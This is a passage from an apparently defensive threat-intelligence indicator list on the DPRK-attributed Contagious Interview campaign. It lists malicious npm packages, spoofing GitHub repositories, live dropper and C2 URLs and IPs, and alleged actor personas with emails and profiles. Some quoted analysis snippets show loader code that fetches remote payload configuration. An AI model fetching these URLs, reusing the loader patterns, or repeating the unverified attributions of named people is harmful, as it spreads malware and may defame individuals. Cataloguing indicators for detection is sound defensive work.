account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","GitHub facade repository Atos lists as spoofing KDiff3 to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","GitHub facade repository Atos lists as spoofing Windows LAPS to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","GitHub repository Unit 42 reports fake recruiters directed job seekers to in December 2025 as part of the recruitment process; it hosted the chain that deployed the InvisibleFerret Python backdoor. Active as recently as mid-December 2025 and since taken offline.","GitHub facade repository Atos lists as spoofing PCmover to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","GitHub facade repository Atos lists as spoofing PaperPort to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","GitHub facade repository Atos lists as spoofing ProcDump to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","GitHub facade repository Atos lists as spoofing PRTG Network Monitor to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","GitHub facade repository Atos lists as spoofing PsTools to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","GitHub facade repository Atos lists as spoofing PsExec to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","GitHub facade repository Atos lists as spoofing Profwiz to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","GitHub facade repository Atos lists as spoofing Process Explorer to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","GitHub facade repository Atos lists as spoofing HTTP Debugger to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","GitHub repository GitLab Threat Intelligence found distributing a BeaverTail variant in September 2025: the downx64.sh dropper fetched two unsigned Mach-O binaries, x64nvidia and payuniversal2, from the same branch of this repository. The account name may be an assumed identity; the repository, not the person, is the indicator.","GitHub repository from which the actor's Vercel-hosted fake recruiting site (businesshire.top) was built, according to Vercel deployment variables GitLab Threat Intelligence recovered in September 2025. The account name may be an assumed identity; the repository, not the person, is the indicator.","GitHub facade repository Atos lists as spoofing Remote Server Administration Tools (RSAT) to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","GitHub facade repository Atos lists as spoofing SafeNet Authentication Client to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","GitHub facade repository Atos lists as spoofing SuperPuTTY to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","GitHub facade repository Atos lists as spoofing SecureCRT to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","Repository under the threat-actor-controlled GitHub account stardev0914, one of eighteen Socket enumerated while tracing the tetrismic.vercel.app staging endpoint behind the tailwind-magic npm package. Recorded as owner/repository, the same form as the PolinRider list.","GitHub facade repository Atos lists as spoofing WinDbg to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","GitHub facade repository Atos lists as spoofing Sysmon to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","GitHub facade repository Atos lists as spoofing RAMMap to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","GitHub facade repository Atos lists as spoofing TCPView to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","GitHub facade repository Atos lists as spoofing Tera Term to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","GitHub facade repository Atos lists as spoofing Disk2vhd to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","GitHub facade repository Atos lists as spoofing VMware Tools to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","GitHub facade repository Atos lists as spoofing BgInfo to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","GitHub facade repository Atos lists as spoofing Transwiz to distribute EtherRAT: a search-optimized repository whose README points to a payload held on a secondary account that can be rotated. Atos names no actor of its own; it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling, so the entry carries the unattributed DPRK label. Not verified by this site to be live or removed.","…https://www.linkedin.com/in/jay-software-lead/ https://www.linkedin.com/in/andrew-christopher/ https://medium.com/@apollo000104 https://medium.com/@applekevin10141106 https://codesandbox.io/u/apple.star0072 https://yhype.me/github/@branchdev98 https://repos.ecosyste.…","…LINKS =========== https://www.linkedin.com/in/jay-software-lead/ https://www.linkedin.com/in/andrew-christopher/ https://medium.com/@apollo000104 https://medium.com/@applekevin10141106 https://codesandbox.io/u/apple.star0072 https://yhype.me/github/@branchdev98 https://repos.ecosyste.…","…https://www.linkedin.com/in/jay-software-lead/ https://www.linkedin.com/in/andrew-christopher/ https://medium.com/@apollo000104 https://medium.com/@applekevin10141106 https://codesandbox.io/u/apple.star0072 https://yhype.me/github/@branchdev98 https://repos.ecosyste.ms/hosts/GitHub/owners/athenaweb629 htt…","…=========== https://www.linkedin.com/in/jay-software-lead/ https://www.linkedin.com/in/andrew-christopher/ https://medium.com/@apollo000104 https://medium.com/@applekevin10141106 https://codesandbox.io/u/apple.star0072 https://yhype.me/github/@branchdev98 https://repos.ecosyste.ms/hosts/GitHub/owners/athenaweb629 htt…","…Chai Somsri - 2024, 2025, Credbull - ChaiSomsri96 - George Capraroiu - george19871205 - x.com/chaisomsri96 - x.com/TickyCrypto - medium.com/@chaisomsri96 - linkedin.com/in/chai-somsri - github.com/ChaiSomsri96 • [Archive](https://archive.ph/eRFnu) - t.me/chaisomsri (ID: 7022528006) -…","…github.com/realhardworkingdeveloper • [Archive](https://web.archive.org/web/20241001144921/https://github.com/realhardworkingdeveloper) - medium.com/@charles.leonard.com - charles.leonard.com@gmail.com - David Tanaka / Ninja Dev - realhardworkingdeveloper@gmail.com - davidtanaka3 -…","…https://www.coindesk.com/tech/2024/10/02/how-north-korea-infiltrated-the-crypto-industry - https://medium.com/@CryptoSavingExpert/in-depth-review-of-five-new-play-to-earn-games-part-9-magic-craft-professionalism-df7bc9c4b2de - ![](./daiki-saito-magiccraft-1.png) -…","…esoh0612 - ericsoh10 - esoh0612@gmail.com - github.com/springdev216 - freelancer.com/u/esoh0612 - trello.com/u/ericsoh10 - medium.com/@esoh0612 #### John Wilhelmson / zhmolly - 2021 - Shows up all over zhmolly handles - John Wilhelmsson - JeyHop - jwtradera - zhmoly -…","…- https://icoholder.com/en/kira-1003837 - https://kylinnetwork.medium.com/kylin-network-monthly-report-2-d9b6be5b8cdf - https://medium.com/@ivan.shodanov/the-15-most-promising-small-cap-defi-projects-to-invest-in-2021-6e9d5aa5774c - https://polkastarter.com/projects/naos-finance -…","…x.com/lee_chienhui - github.com/light-fury • [Archive](https://web.archive.org/web/20230513202311/https://github.com/light-fury) - medium.com/@leech.developer - linkedin.com/in/lee-chien-hui-50b157157/ - leech.developer@gmail.com - ddpuppy42@yahoo.com -…","…0x86fce1a6cbaaf0d0d7cb727e9b9eac5ed4150a5b - akame.eth, overlaps with - https://cryptototem.com/kira-network-kex/ - https://medium.com/@partydogeinfo/who-is-jason-lee-did-he-steal-1m-from-various-nft-projects-975007241e09 -…","…David Tanaka / Ninja Dev - realhardworkingdeveloper@gmail.com - davidtanaka3 - trello.com/u/davidtanaka3 - medium.com/@realhardworkingdeveloper -…","…{\"id\":\"01af939bfac5eb3c\",\"type\":\"link\",\"url\":\"https://medium.com/@sakelejames\",\"x\":3021,\"y\":-3640,\"width\":400,\"height\":400},…","Third-party-reported, not independently verified per release by Chollima Hunter. These are version-pinned indicators on purpose: for a compromised legitimate package the name identifies the victim project rather than the threat, so a bare package name is not carried here, and the inclusion of a version says only that the cited report describes that release as malicious. Check the cited post before acting on any single entry.","Third-party-reported, not independently verified per release by Chollima Hunter. These are version-pinned indicators on purpose: for a compromised legitimate package the name identifies the victim project, not the threat, so a bare package name is not carried here and inclusion of a version says only that the cited report describes that release as malicious. Check the cited post before acting on any single entry.","One of 67 malicious npm packages in a July 2025 Contagious Interview wave; carries the XORIndex loader, which reconstructs BeaverTail in memory and fetches InvisibleFerret.","One of 338 malicious npm packages Socket identified between July and October 2025 in the Contagious Interview campaign. Typosquats of common developer tooling whose install or import hook runs a HexEval, XORIndex or encrypted loader that reconstructs BeaverTail in memory and typically fetches InvisibleFerret.","One of 197 malicious npm packages Socket identified between October and November 2025 in the Contagious Interview campaign, delivering an updated OtterCookie that merges earlier OtterCookie releases with BeaverTail's credential and wallet theft.","One of 67 malicious npm packages in a July 2025 Contagious Interview wave; carries the HexEval loader, which decodes and runs BeaverTail and then fetches InvisibleFerret.","Malicious npm package (version 2.4.4) impersonating the widely-used 'bcrypt' hashing library. Part of the same September/October 2024 wave as passports-js and blockscan-api; delivered BeaverTail.","One of 35 malicious npm packages identified in a June 2025 Contagious Interview wave. Postinstall chain fetches the HexEval loader, which in turn deploys BeaverTail and InvisibleFerret.","Trojanized npm clone of a Tailwind CSS plugin that OpenSourceMalware reports as carrying the NullReceiver C2 technique (reported version bianira-ui@1.27.0): it reads its command server from the recipient address of an empty Ethereum transfer sent by a hard-coded wallet. OpenSourceMalware attributes the activity to the DPRK Contagious Interview campaign. The package is no longer available from npm.","Malicious npm package identified in an April 2026 OtterCookie infostealer campaign tracked by Panther, using a two-layer distribution strategy: a benign wrapper package pulls in this obfuscated payload package one dependency layer deep. On install, a postinstall hook triggers a loader that imports and executes the OtterCookie exfiltration/persistence logic. OtterCookie is the third malware family, alongside BeaverTail and InvisibleFerret, delivered through the Contagious Interview npm supply chain.","Malicious npm package (version 1.3.1) impersonating a blockchain-explorer API client. Flagged September 13, 2024, removed from npm October 9, 2024; delivered BeaverTail.","…malware Year in Review seeds-random npm package malware N/A N/A Malicious NPM dependency used to deliver malware Year in Review chai-jsons npm package malware N/A N/A Malicious NPM dependency used to deliver malware Year in Review dotenv-intend npm package malware N/A N/A Malicious NPM…","Malicious npm package from the April 2026 cross-ecosystem Contagious Interview wave spanning npm, PyPI, Go, Rust and PHP. Logging-utility-themed name; the loader retrieves a download URL from actor infrastructure and delivers a platform-specific second stage.","Malicious npm package from an April 2026 cross-ecosystem Contagious Interview wave spanning npm, PyPI, Go, Rust, and PHP. Part of a logging-utility-themed naming pattern used to blend into legitimate dependency trees.","…Year in Review passport-google-auth-token npm package malware N/A N/A Malicious NPM dependency used to deliver malware Year in Review dotenv-extend npm package malware N/A N/A Malicious NPM dependency used to deliver malware Year in Review tailwindcss-animation-advanced npm package malware N/A…","…deliver malware Year in Review chai-jsons npm package malware N/A N/A Malicious NPM dependency used to deliver malware Year in Review dotenv-intend npm package malware N/A N/A Malicious NPM dependency used to deliver malware Year in Review preset-log npm package malware N/A N/A Malicious NPM…","Trojanized npm clone of a Tailwind CSS plugin that OpenSourceMalware reports as carrying the NullReceiver C2 technique (reported version fluid-type-ui@2.0.8): it reads its command server from the recipient address of an empty Ethereum transfer sent by a hard-coded wallet. OpenSourceMalware attributes the activity to the DPRK Contagious Interview campaign. The package is no longer available from npm.","Malicious npm dependency named as a fallback delivery route in the January 2026 Visual Studio Code lure chain: if the tasks.json download failed, the project installed this package or ran JavaScript that fetched the next stage. Reported by The Hacker News in its coverage of the Jamf, Red Asgard and Security Alliance research.","Joyfill npm Packages Compromised with Blockchain C2 Loader - Real-time Open Source Software Supply Chain Security…","Joyfill npm Packages Compromised with Blockchain C2 Loader - Real-time Open Source Software Supply Chain Security New Blog: wfx GitHub Actions Credential…","Malicious npm package from the June 2025 Contagious Interview wave, notable for bundling keylogger functionality alongside the standard BeaverTail data-theft payload.","Malicious npm package from the same April 2026 cross-ecosystem Contagious Interview wave as dev-log-core, using the same logging-utility naming theme.","Malicious npm package whose loader reported to the tetrismic.vercel.app staging endpoint, which Socket traced to the threat-actor-controlled GitHub account stardev0914. Part of the October to November 2025 Contagious Interview wave delivering an OtterCookie variant that merges BeaverTail's features.","…URL Year in Review https://zone-api-navy.vercel.app/api/ip-check/99 url malware N/A N/A JavaScript malware dropper URL Year in Review passport-google-auth-token npm package malware N/A N/A Malicious NPM dependency used to deliver malware Year in Review dotenv-extend npm package malware N/A N/A Malicious NPM…","Malicious npm package (versions 0.7.0 and 0.7.1) impersonating the popular 'passport' authentication middleware. Delivered BeaverTail. Flagged September 11, 2024.","npm package that OpenSourceMalware reported, in an update to its NullReceiver research quoted by The Hacker News, as using the NullReceiver C2 technique, with the same wallet reuse that tied the earlier packages to the DPRK Contagious Interview campaign. The update is quoted by The Hacker News; the version affected is not stated there.","Malicious npm package published under the registry alias 'yolorabbit', impersonating the widely-used 'postcss' library. Contained BeaverTail, which harvests browser-stored credentials, Solana wallet private keys, and macOS keychain data.","…malware Year in Review dotenv-intend npm package malware N/A N/A Malicious NPM dependency used to deliver malware Year in Review preset-log npm package malware N/A N/A Malicious NPM dependency used to deliver malware Year in Review 111.197.183.74 ipv4 insider October 2025 October 2025…","One of 35 malicious npm packages identified in a June 2025 Contagious Interview wave. Impersonates a Plaid integration SDK; postinstall chain fetches the HexEval loader, which in turn deploys BeaverTail and InvisibleFerret.","…(macOS), %LOCALAPPDATA%\\MicrosoftSystem64 (Windows) Registration marker .registered file with ISO timestamp in install directory Related npm package js-logger-pack (v1.1.22+ acts as dropper) Related HuggingFace repo Lordplay/system-releases (earlier binary hosting)…","…in Review tailwindcss-animation-advanced npm package malware N/A N/A Malicious NPM dependency used to deliver malware Year in Review seeds-random npm package malware N/A N/A Malicious NPM dependency used to deliver malware Year in Review chai-jsons npm package malware N/A N/A Malicious NPM…","One of 35 malicious npm packages identified in the June 2025 Contagious Interview wave, impersonating an identity-verification vendor SDK to blend into fintech/KYC-adjacent developer projects.","Malicious npm package impersonating a Tailwind CSS utility, published as part of the PolinRider campaign documented by OpenSourceMalware. Injected into compromised legitimate repositories via config-file tampering rather than distributed through a fake-interview lure; delivers BeaverTail.","…malware Year in Review dotenv-extend npm package malware N/A N/A Malicious NPM dependency used to deliver malware Year in Review tailwindcss-animation-advanced npm package malware N/A N/A Malicious NPM dependency used to deliver malware Year in Review seeds-random npm package malware N/A N/A Malicious NPM…","…The npm Packages Use a Different Loader # Instead of downloading and extracting a zip archive, the npm packages (e.g.…","One of 35 malicious npm packages identified in the June 2025 Contagious Interview wave, disguised as a Vite build-tool plugin.","…Year in Review ignacioquesada127@gmail.com email malware N/A January 2025 DPRK malware distributor GitLab.com account Year in Review http://chainlink-api-v3.cloud/api/service/token/3ae1d04a7c1a35b9edf045a7d131c4a7 url malware N/A N/A JavaScript malware dropper URL Year in Review…","…url malware N/A N/A JavaScript malware dropper URL Year in Review http://chainlink-api-v3.cloud/api/service/token/792a2e10b9eaf9f0a73a71916e4269bc url malware N/A N/A JavaScript malware dropper URL Year in Review…","…url malware N/A N/A JavaScript malware dropper URL Year in Review http://chainlink-api-v3.com/api/service/token/1a049de15ad9d038a35f0e8b162dff76 url malware N/A N/A JavaScript malware dropper URL Year in Review…","…url malware N/A N/A JavaScript malware dropper URL Year in Review http://chainlink-api-v3.com/api/service/token/7d6c3b0f7d1f3ae96e1d116cbeff2875 url malware N/A N/A JavaScript malware dropper URL Year in Review…","…url malware N/A N/A JavaScript malware dropper URL Year in Review http://chainlink-api-v3.com/api/service/token/b2040f01294c183945fdbe487022cf8e url malware N/A N/A JavaScript malware dropper URL Year in Review http://openmodules.org/api/service/token/f90ec1a7066e8a5d0218c405ba68c58c…","…url malware N/A N/A JavaScript malware dropper URL Year in Review http://openmodules.org/api/service/token/f90ec1a7066e8a5d0218c405ba68c58c url malware N/A N/A JavaScript malware dropper URL Year in Review http://w3capi.marketing/api/v2/node/d6a8d0d14d3fbb3d5e66c8b007b7a2eb url…","…Network IOCs Type Indicator Context Domain sfrclak.com Primary C2 IP 142.11.206.73 C2 server URL http://sfrclak.com:8000/6202033 Payload endpoint Port 8000 (HTTP) C2 listener User-Agent mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)…","…url malware N/A N/A JavaScript malware dropper URL Year in Review http://w3capi.marketing/api/v2/node/d6a8d0d14d3fbb3d5e66c8b007b7a2eb url malware N/A N/A JavaScript malware dropper URL Year in Review https://api-server-mocha.vercel.app/api/ipcheck-encrypted/106 url malware…","…https://api-server-mocha.vercel.app/api/ipcheck-encrypted/99 url malware N/A N/A JavaScript malware dropper URL Year in Review https://api.mocki.io/v2/8sg8bhsv/tracks/errors/665232 url malware N/A N/A JavaScript malware dropper URL Year in Review https://api.npoint.io/159a15993f79c22e8ff6 url malware N/A N/A…","…in Review https://api.mocki.io/v2/8sg8bhsv/tracks/errors/665232 url malware N/A N/A JavaScript malware dropper URL Year in Review https://api.npoint.io/159a15993f79c22e8ff6 url malware N/A N/A JavaScript malware dropper URL Year in Review https://api.npoint.io/62755a9b33836b5a6c28 url malware N/A N/A…","…https://1215.vercel.app/api/ipcheck https://log-writter.vercel.app/api/ipcheck https://process-log-update.vercel.app/api/ipcheck https://api.npoint.io/1f901a22daea7694face (a likely initial configuration fetch). Package-naming patterns (e.g., vite-* , *-log* ), the presence of BeaverTail malware, and…","…using the same “ID in the package name” pattern. Indicators of compromise Type Value C2 103.170.217.184:8787 Npoint resolver https://api.npoint.io/24c25d5f5fcbb0992a4f (identifier 99 ) Npoint resolver https://api.npoint.io/641d37178a880b1e8b8f (identifier 10 ) Npoint resolver…","…(identifier 99 ) Npoint resolver https://api.npoint.io/641d37178a880b1e8b8f (identifier 10 ) Npoint resolver https://api.npoint.io/33e8d008c334b060adad (identifier 79 ) Npoint resolver https://api.npoint.io/ddae72efbb6714fae922 (identifier 12 ) Npoint resolver…","…URL Year in Review https://api.npoint.io/159a15993f79c22e8ff6 url malware N/A N/A JavaScript malware dropper URL Year in Review https://api.npoint.io/62755a9b33836b5a6c28 url malware N/A N/A JavaScript malware dropper URL Year in Review https://api.npoint.io/b1f111907933b88418e4 url malware N/A N/A…","…103.170.217.184:8787 Npoint resolver https://api.npoint.io/24c25d5f5fcbb0992a4f (identifier 99 ) Npoint resolver https://api.npoint.io/641d37178a880b1e8b8f (identifier 10 ) Npoint resolver https://api.npoint.io/33e8d008c334b060adad (identifier 79 ) Npoint resolver…","…+ '\\\\p5.zip') // Extract to ~/winrar/python.exe exec('tar -xf \"' + tmpDir + '\\\\p5.zip' + '\" -C \"' + homeDir + '\"') }) The config API (api.npoint.io/96979650f5739bcbaebb) returns {“name”: “winrar”}, which tells the malware to extract Python to C:\\Users\\{user}\\winrar\\python.exe. Get Shantanu ’s stories in…","…threat actors intended this library to get imported and their payload executed that way. The index.js file used curl to pull data from https://api.npoint.io/9d94ec6053e75dbd933e which was a heavily obfuscated JavaScript file.…","…URL Year in Review https://api.npoint.io/62755a9b33836b5a6c28 url malware N/A N/A JavaScript malware dropper URL Year in Review https://api.npoint.io/b1f111907933b88418e4 url malware N/A N/A JavaScript malware dropper URL Year in Review https://api.npoint.io/b68a5c259541ec53bb5d url malware N/A N/A…","…URL Year in Review https://api.npoint.io/b1f111907933b88418e4 url malware N/A N/A JavaScript malware dropper URL Year in Review https://api.npoint.io/b68a5c259541ec53bb5d url malware N/A N/A JavaScript malware dropper URL Year in Review https://api.npoint.io/c82d987dd2a0fb62e87f url malware N/A N/A…","…146.70.253.107 23.127.202.249 23.227.202.244 http://fashdefi.store:6168/defy/v7 https://0927.vercel.app/api/ipcheck https://api.npoint.io/b964566497d98298d32c https://ip-check-server.vercel.app/api/ip-check/208 https://json-project-hazel.vercel.app/apikey/QWERTYU890T12HML…","…URL Year in Review https://api.npoint.io/b68a5c259541ec53bb5d url malware N/A N/A JavaScript malware dropper URL Year in Review https://api.npoint.io/c82d987dd2a0fb62e87f url malware N/A N/A JavaScript malware dropper URL Year in Review https://api.npoint.io/d1ef256fc2ad6213726e url malware N/A N/A…","…URL Year in Review https://api.npoint.io/c82d987dd2a0fb62e87f url malware N/A N/A JavaScript malware dropper URL Year in Review https://api.npoint.io/d1ef256fc2ad6213726e url malware N/A N/A JavaScript malware dropper URL Year in Review https://api.npoint.io/d4dfbbac8d7c44470beb url malware N/A N/A…","…URL Year in Review https://api.npoint.io/d1ef256fc2ad6213726e url malware N/A N/A JavaScript malware dropper URL Year in Review https://api.npoint.io/d4dfbbac8d7c44470beb url malware N/A N/A JavaScript malware dropper URL Year in Review https://api.npoint.io/e6a6bfb97a294115677d url malware N/A N/A…","…It also included this additional HTTP call via the popular axios dependency which appeared to have been bolted on: axios.get(\"https://api.npoint.io/e5a5e32cdf9bfe7d2386\").then(_0x50a11d => { moduleName = _0x50a11d.data.name; f = _0x50a11d.data.team9; }).then(() => { main(); Xt(); That endpoint…","…URL Year in Review https://api.npoint.io/d4dfbbac8d7c44470beb url malware N/A N/A JavaScript malware dropper URL Year in Review https://api.npoint.io/e6a6bfb97a294115677d url malware N/A N/A JavaScript malware dropper URL Year in Review https://api.npoint.io/f4be0f7713a6fcdaac8b url malware N/A N/A…","…URL Year in Review https://api.npoint.io/e6a6bfb97a294115677d url malware N/A N/A JavaScript malware dropper URL Year in Review https://api.npoint.io/f4be0f7713a6fcdaac8b url malware N/A N/A JavaScript malware dropper URL Year in Review https://api.npoint.io/f96fb4e8596bf650539c url malware N/A N/A…","…URL Year in Review https://api.npoint.io/f4be0f7713a6fcdaac8b url malware N/A N/A JavaScript malware dropper URL Year in Review https://api.npoint.io/f96fb4e8596bf650539c url malware N/A N/A JavaScript malware dropper URL Year in Review https://astraluck-vercel.vercel.app/api/data url malware N/A N/A…","…https://ip-check-server.vercel.app/api/ip-check-encrypted/3aeb34a37 url malware N/A N/A JavaScript malware dropper URL Year in Review https://jsonkeeper.com/b/4NAKK url malware N/A N/A JavaScript malware dropper URL Year in Review https://jsonkeeper.com/b/8RLOV url malware N/A N/A JavaScript malware…","…same shape as the block in caller.js , but its base64 points at a second dead drop. 1 aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iLzROQUtL => https://jsonkeeper.com/b/4NAKK https://jsonkeeper.com/b/4NAKK\"> SafeDep’s analysis records that this backdoor is byte identical to an earlier package,…","…the same shape as the block in caller.js , but its base64 points at a second dead drop. aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iLzROQUtL => https://jsonkeeper.com/b/4NAKK SafeDep’s analysis records that this backdoor is byte identical to an earlier package, nodemon-node , that used the same Pinata CID and…","…malware dropper URL Year in Review https://jsonkeeper.com/b/4NAKK url malware N/A N/A JavaScript malware dropper URL Year in Review https://jsonkeeper.com/b/8RLOV url malware N/A N/A JavaScript malware dropper URL Year in Review https://jsonkeeper.com/b/CNMYL url malware N/A N/A JavaScript malware…","…very next day we detected another package, metrica-chain@2.4.5 [npm]; just like before, this one also fetched a second-stage payload from https://jsonkeeper.com/b/BADC6 . Then another, and another. We noticed that all of these payloads were being served by jsonkeeper with a short, non-sequential string…","…malware dropper URL Year in Review https://jsonkeeper.com/b/8RLOV url malware N/A N/A JavaScript malware dropper URL Year in Review https://jsonkeeper.com/b/CNMYL url malware N/A N/A JavaScript malware dropper URL Year in Review https://jsonkeeper.com/b/DMVPT url malware N/A N/A JavaScript malware…","…malware dropper URL Year in Review https://jsonkeeper.com/b/CNMYL url malware N/A N/A JavaScript malware dropper URL Year in Review https://jsonkeeper.com/b/DMVPT url malware N/A N/A JavaScript malware dropper URL Year in Review https://jsonkeeper.com/b/E4YPZ url malware N/A N/A JavaScript malware…","…malware dropper URL Year in Review https://jsonkeeper.com/b/DMVPT url malware N/A N/A JavaScript malware dropper URL Year in Review https://jsonkeeper.com/b/E4YPZ url malware N/A N/A JavaScript malware dropper URL Year in Review https://jsonkeeper.com/b/E7GKK url malware N/A N/A JavaScript malware…","…malware dropper URL Year in Review https://jsonkeeper.com/b/E4YPZ url malware N/A N/A JavaScript malware dropper URL Year in Review https://jsonkeeper.com/b/E7GKK url malware N/A N/A JavaScript malware dropper URL Year in Review https://jsonkeeper.com/b/FM8D6 url malware N/A N/A JavaScript malware…","…malware dropper URL Year in Review https://jsonkeeper.com/b/E7GKK url malware N/A N/A JavaScript malware dropper URL Year in Review https://jsonkeeper.com/b/FM8D6 url malware N/A N/A JavaScript malware dropper URL Year in Review https://jsonkeeper.com/b/GLGT4 url malware N/A N/A JavaScript malware…","…Markdown JSON Storage URLs https[ :// ]jsonkeeper.com/b/GNOX4 https[ :// ]jsonkeeper.com/b/IARGW https[ :// ]jsonkeeper.com/b/FM8D6 https[ :// ]jsonkeeper.com/b/GCGEX https[ :// ]jsonkeeper.com/b/IXHS4 https[ :// ]jsonkeeper.com/b/86H03 https[ ://…","…URLs https[ :// ]jsonkeeper.com/b/GNOX4 https[ :// ]jsonkeeper.com/b/IARGW https[ :// ]jsonkeeper.com/b/FM8D6 https[ :// ]jsonkeeper.com/b/GCGEX https[ :// ]jsonkeeper.com/b/IXHS4 https[ :// ]jsonkeeper.com/b/86H03 https[ :// ]jsonkeeper.com/b/6OCFY https[ ://…","…malware dropper URL Year in Review https://jsonkeeper.com/b/FM8D6 url malware N/A N/A JavaScript malware dropper URL Year in Review https://jsonkeeper.com/b/GLGT4 url malware N/A N/A JavaScript malware dropper URL Year in Review https://jsonkeeper.com/b/L4T7Y url malware N/A N/A JavaScript malware…","…repositories containing malicious code https[ :// ]github.com/carlotalentengine-sketch Markdown JSON Storage URLs https[ :// ]jsonkeeper.com/b/GNOX4 https[ :// ]jsonkeeper.com/b/IARGW https[ :// ]jsonkeeper.com/b/FM8D6 https[ :// ]jsonkeeper.com/b/GCGEX https[ ://…","…https[ :// ]github.com/carlotalentengine-sketch Markdown JSON Storage URLs https[ :// ]jsonkeeper.com/b/GNOX4 https[ :// ]jsonkeeper.com/b/IARGW https[ :// ]jsonkeeper.com/b/FM8D6 https[ :// ]jsonkeeper.com/b/GCGEX https[ :// ]jsonkeeper.com/b/IXHS4 https[ ://…","…malware dropper URL Year in Review https://jsonkeeper.com/b/GLGT4 url malware N/A N/A JavaScript malware dropper URL Year in Review https://jsonkeeper.com/b/L4T7Y url malware N/A N/A JavaScript malware dropper URL Year in Review https://jsonkeeper.com/b/PCDZO url malware N/A N/A JavaScript malware…","…malware dropper URL Year in Review https://jsonkeeper.com/b/L4T7Y url malware N/A N/A JavaScript 